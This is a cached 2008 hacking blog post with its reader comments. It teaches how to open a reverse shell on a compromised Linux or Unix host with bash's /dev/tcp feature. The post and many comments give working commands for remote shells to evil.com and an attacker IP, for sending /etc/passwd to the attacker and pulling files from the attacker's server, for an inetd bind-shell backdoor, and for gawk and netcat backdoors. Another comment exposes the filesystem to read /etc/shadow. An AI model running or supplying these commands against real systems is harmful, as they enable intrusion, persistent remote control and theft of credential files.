Reverse Shell with Bash

published: April 19th, 2008

I am stuck at the Dubai International Airport and I have nothing else interesting to do. So, I though I might share a simple technique which will go into the Agile Hacking project. Here I will show you how to create a reverse command shell without using any 3rd-party tools such as the all mighty netcat.

When we compromise a machine we often need to provide ourselves with a user friendly access to the system. This is where command shells come into place. The typical shell consists of a generic network client, typically netcat, listening on a remote port which pipes output into something like bash or any other command shell. Another type of shell is the reverse shell which consists of a generic network client, again something like netcat, connecting to the attacker’s machine and piping input to bash. Most of the time, the attacker will use netcat, because this tool can be easily found on most system or easily compiled from source if required.

Although netcat is very useful, and you may have to use it in most cases, here is a simple technique which emulates what netcat does but it relies on bash only. Let’s see how.

  • In step one we start a listening service on our box. We can use netcat, or whatever you might have at hand.
    $ nc -l -p 8080 -vvv
  • On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.
    $ exec 5<>/dev/tcp/evil.com/8080
    $ cat <&5 | while read line; do $line 2>&5 >&5; done

There you go. Now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back. Keep in mind that we don’t use any 3rd-party tools on the target but its default shell. This technique comes handy in many situations and it leaves very small footprint on the targeted system.

more | comments | comments rss | posted by pdp
Tags: Agile Hacking | bash | shell
spacer Adrian 'pagvac' Pastor says:
April 19, 2008 at 1:17 pm

This is the kind of stuff I like. As we tend to say: “there is always an easier way to solve the problem”.

spacer ernie says:
April 19, 2008 at 2:28 pm

This shit doesn’t work everywhere, you need to have compiled support in bash for it, and since it’s very broken, most distributions do not ship bash enabled with this feature.

spacer Anonymous says:
April 19, 2008 at 3:00 pm

Nice, but I preferred the original write-up ;) labs.neohapsis.com/2008.....literally/

spacer Tecky says:
April 19, 2008 at 3:16 pm

To bad is not working on debian distributions.

spacer dude dyde says:
April 19, 2008 at 3:21 pm

give credit where its due. this was posted yesterday on some other sites prior.

spacer kcghost says:
April 19, 2008 at 3:38 pm

a cool trick, but is there a convenient way of doing this in debian? Debian doesnt have the “/dev/tcp” feature as part of its bash by default, is there a way to get around that and use something else?

spacer pdp says:
April 19, 2008 at 3:43 pm

first of all, I find this feature working on far too many systems. Second, similar things can be done with TCL and 3rd, I don’t read every single blog out there to know that someone has blogged about it as well, neither I claim that it is new. If someone has posted similar technique somewhere else, it is just a coincidence. On another note, giving credits for something like this, is a bit stupid. :) It is like giving credits to someone for writing a for loop in bash. This is a feature not an ingenious hack. Also, my example significantly differs from the example provided by the blog post suggested above. thanks for the heads up and apologies to those who think that I have ripped off their work. It is certainly not the case.

spacer otze says:
April 19, 2008 at 3:44 pm

Nice one, but on my system the man page of bash states the following: :( NOTE: Bash, as packaged for Debian, does not support using the /dev/tcp and /dev/udp files.

spacer pdp says:
April 19, 2008 at 3:45 pm

if you don’t have this feature compiled you can use TCL which is most likely installed on the system. Now, this defeats the purpose of the technique presented here but it might be better in some situations when you are restricted in terms of being able to upload netcat for example. For more information on using TCL socket features, read the following link: www.tcl.tk/man/tcl8.4/TclCmd/socket.htm

spacer pdp says:
April 19, 2008 at 3:53 pm

otze, unfortunately Debian does not support it. keep in mind that Debian mainly uses very old stable packages. Which is good and bad at the same time.

spacer Venom23 says:
April 19, 2008 at 5:10 pm

You are my idol #1

spacer Venom23 says:
April 19, 2008 at 5:22 pm

Yes! Works fine on Solaris 9 and 10. Always had problems getting a netcat compiled on Solaris. Hate gcc problems on Solaris. The netcat version provided by sunfreeware.com does not include the “-e” option for bidirectional communication.

spacer Sam says:
April 20, 2008 at 6:37 am

I tried this on a ubuntu server and it does not work in it’s default configuration. If you build the bash using the use –enable-net-redirections build flag it will work. Just in case someone else was wondering why it wouldn’t work.

spacer Adri says:
April 20, 2008 at 8:06 pm

Nice stuff, I really love this website :D

spacer Jim Kelly says:
April 20, 2008 at 9:35 pm

I checked the bash man page on Mac OS X 10.5.2 and it DOES support /dev/tcp!!

jk

spacer Jim Kelly says:
April 20, 2008 at 9:45 pm

I just tried it on Mac OS X Leopard and it works!! caveat I connected to and from localhost so my next test, time willing will be to try to/from another host. Nothing shows up on the victim host, all std out shows up on attacker side ;-) pdp awesome awesome tip!!!

spacer Yash Kadakia says:
April 20, 2008 at 9:59 pm

Thanks for the tip! Its an interesting concept to minimize the footprint on the client machine.

spacer tix says:
April 20, 2008 at 10:05 pm

you can remove the cat <&5, will be:

while read line 0<&5; do $line 2>&5 >&5; done

there is also the $REPLY var of the read builtin command.

thnks for the stuff gnucitizen.

spacer nicolasfr says:
April 21, 2008 at 8:38 am

Why using two lines/commands? A one liner version:

$ bash -i >& /dev/tcp/evil.com/8080 0>&1

Note: /dev/tcp support is enabled by default on Redhat. Disabled on Debian. Would be nice to list here support for other well known distro (Suse?).

spacer Jim Kelly says:
April 21, 2008 at 10:45 pm

Ok here is an idea of how to turn this into a port scanner: Say you are on box 192.168.1.2 and you want to port scan ports 79,80,81 on 192.168.1.1 do the following all on one line:

for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done

What you end up with is something like this:

bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done
[1] 5579
79
bash: connect: Connection refused
bash: /dev/tcp/192.168.1.1/79: Connection refused
[1]+  Done                    echo $i
[1] 5581
80
[1]+  Done                    echo $i
[1] 5584
81
bash: connect: Connection refused
bash: /dev/tcp/192.168.1.1/81: Connection refused
[1]+  Done                    echo $i
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/192.168.1.1/$i 0>&1;done

Closed ports give you back a “Connection refused”

spacer Jim Kely says:
April 21, 2008 at 11:01 pm

LOL Google is truely my friend: www.oreilly.com/pub/h/5299 A tcp and udp portscanner implimented in Bash ;-)

spacer pdp says:
April 22, 2008 at 6:11 am

sweet!

spacer Marchiner says:
April 22, 2008 at 3:15 pm

It works ok on debian, but only using TCL! :D But works fine! Thx for nice post pdp!

spacer Marchiner says:
April 22, 2008 at 3:51 pm

Ops sorry.. really don work on debian. Works on Redhat Enterprise 4 and 5.

spacer Marchiner says:
April 22, 2008 at 4:02 pm

Just to complement… i know this post its about the reverse shell. But “debian users” whatch this post about Default-bash:/dev/tcp bugs.debian.org/cgi-bin.....bug=146464

spacer macubergeek says:
April 23, 2008 at 10:18 am

Marchiner: wow this bug report goes back to 2002! How much longer till it’s fixed ;-)

spacer macubergeek says:
April 23, 2008 at 10:55 pm

Ok this is off scope for this thread, and the moderator may not want it but here’s a way to use /dev/tcp to banner a web server:

#!/bin/bash
exec 3<>/dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3

You’d feed the www.whatever.com on the command line.

usage:

./script www.whatever.com
spacer macubergeek says:
April 26, 2008 at 3:56 pm

Correction: script should read:

#!/bin/bash
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
spacer f0rg3 says:
April 30, 2008 at 12:09 am

Useful, Thanks.

spacer PsyEcho says:
May 3, 2008 at 11:31 am

Thanks ‘pdp’. Nice concept & article. Though doesn’t work for my default Debian base, but surely gonna come handy for research! Kudos and keep up the good work :) Cheers.

spacer macubergeek says:
May 3, 2008 at 1:09 pm

PDP Yeh this was old school goodness ;-) I love the idea of using what’s already there. Now what I’d like is an equivalent on windows!

spacer pdp says:
May 3, 2008 at 1:15 pm

unfortunately batch is very limited but you can do similar things with WScript combined with JavaScript(JScript) or VBScript. These stuff come by default on every Windows operating system.

spacer macubergeek says:
May 3, 2008 at 2:28 pm

pdp

thanks for pointing me in the right direction ;-) Mr. Google sez: www.codeproject.com/KB/cs/ReverseRAT.aspx

LOL
Awesome!

spacer macubergeek says:
May 6, 2008 at 12:45 am

Fun and games with /dev/tcp and file transfer: Ok here is how to use this bash /dev/tcp trick to move a file.

  1. On attacker’s box: I want to move a file named test.txt to the victim box
    cat test.txt | nc -l 3333
  2. I’ll then connect out from victim to attacker’s port 3333 and pull back the file test.txt
    bash -i >& /dev/tcp/attackersIP/8080 0>&1 > test.txt

Advantages: netcat stays on the attacker’s box. All I use on the victim box is what’s already there…bash ;-)

————————————–

ok so you are probably saying “That’s nice” but if I’m already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker’s box and I’m too lazy to do terminal copy and paste…then what?

  1. on attacker’s box do
    nc -l -p 8080 -vvv > passwd
  2. on victim box do
    cat /etc/passwd > /dev/tcp/attackerIP/8080

and like magic the victim’s /etc/password is transferred to the attacker’s box.

spacer macubergeek says:
May 6, 2008 at 10:36 am

Transfer a file using HTTP: Say you have compromised a victim box and want to transfer a file to the victim.

1. Put the file in the web root of the attacker box (I’m thinking of the web server in backtrack.
2. Start up the web server on the attacker box
3. On the victim box do:

(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1>&3 & cat 0<&3) 3 /dev/tcp/AttackerIP/80 \
| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
do read i; done; cat) > local_filename

Credit where credit is due:
www.pebble.org.uk/linux/bashbrowser

spacer macubergeek says:
May 9, 2008 at 8:44 pm

Here is an important thing I just realized…d’oh this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)

spacer macubergeek says:
May 24, 2008 at 2:05 pm

BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don’t believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.

spacer macubergeek says:
May 25, 2008 at 8:15 pm

Ok here’s some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)

  • Pick an obscure service from /etc/services associated with a tcp port 1024 and above…for example laplink
    laplink         1547/tcp     # laplink
  • Add the following line to /etc/inetd.conf
    laplink    stream  tcp     nowait  /bin/bash bash -i
  • restart inetd.conf
    killall -HUP inetd

Explaination: You are creating a listener on port tcp/1547 that will shovel you a bash shell.

Caveat: this obviously is not my *idea* It’s just very VERY old stuff that still works.

spacer macubergeek says:
May 30, 2008 at 11:52 pm

Ok I know I know I’m obsessive ;-) Here is a reverse shell implemented in gawk

Credit: Phrack 62

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}
spacer macubergeek says:
June 1, 2008 at 5:34 pm

Yes exact citation for above is p62-0x08_Remote_Exec.txt “FIST! FIST! FIST! Its all in the wrist: Remote Exec” by grugg

spacer macubergeek says:
June 1, 2008 at 5:37 pm

Python Trick

If you can use a web app to execute shell commands on the victim:

cd / && python -m SimpleHTTPServer

then

Python will start it’s own web server listening on port 8000. You can surf to the victim on that port: victim:8000 and then transverse the entire file system and download /etc/passwd and /etc/shadow.

Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.

spacer edward baddouh says:
September 16, 2008 at 11:46 pm

nice work pdp, keep on going!

spacer vecna says:
November 10, 2008 at 9:53 am

www.delirandom.net/2008.....e-net-omg/ the same prerequisite, but traffic is encoded in icmp.

spacer pdp says:
November 10, 2008 at 9:58 am

this is quite interesting. thanks for sharing.

spacer Jeff Price says:
June 17, 2009 at 6:58 pm

2 way /dev/tcp communication on debian. Use netcat

mkfifo mypipe
cat mypipe|/bin/bash|nc -l -p 6000 >mypipe
spacer pagvac says:
June 25, 2009 at 1:19 pm

@Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing!

spacer revtan says:
April 7, 2010 at 2:43 am

thanks for nice article…

(macubergeek == pdp)  ? ;-P : ;-|
gipoco.com is neither affiliated with the authors of this page nor responsible for its contents. This is a safe-cache copy of the original web site.